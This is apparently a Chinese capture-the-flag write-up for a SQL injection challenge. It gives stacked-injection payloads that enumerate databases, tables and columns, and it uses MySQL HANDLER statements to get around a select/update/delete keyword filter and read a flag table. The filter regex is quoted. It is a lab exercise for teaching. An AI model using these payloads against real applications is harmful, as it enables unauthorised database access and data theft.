知识点

  • 堆叠注入
  • handler语句

HANDLER 语句官方文档
HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

启动靶机

1. 首先查询列数,列数为2

  1. 1' order by 2#

2. 堆叠注入查询数据库和表

select等关键词被过滤,正常注入无法进行

  1. return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

考虑堆叠注入:使用分号结束上一个语句再叠加其他语句一起执行

  1. 1';show databases;
  2. 1';show tables;

image.pngimage.png

3. 查询FlagHere表中的字段

  1. 1';desc FlagHere;

image.png

4. 查询FlagHere表中的数据

由于过滤了prepare和alert,所以我们可以用handler方法。官方文档
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭

  1. 1';
  2. handler FlagHere open;
  3. handler FlagHere read first;
  4. handler FlagHere close;

image.png

5. 得到flag

  1. flag{d98d88ed-9da0-498f-91bc-5adce8fcbb76}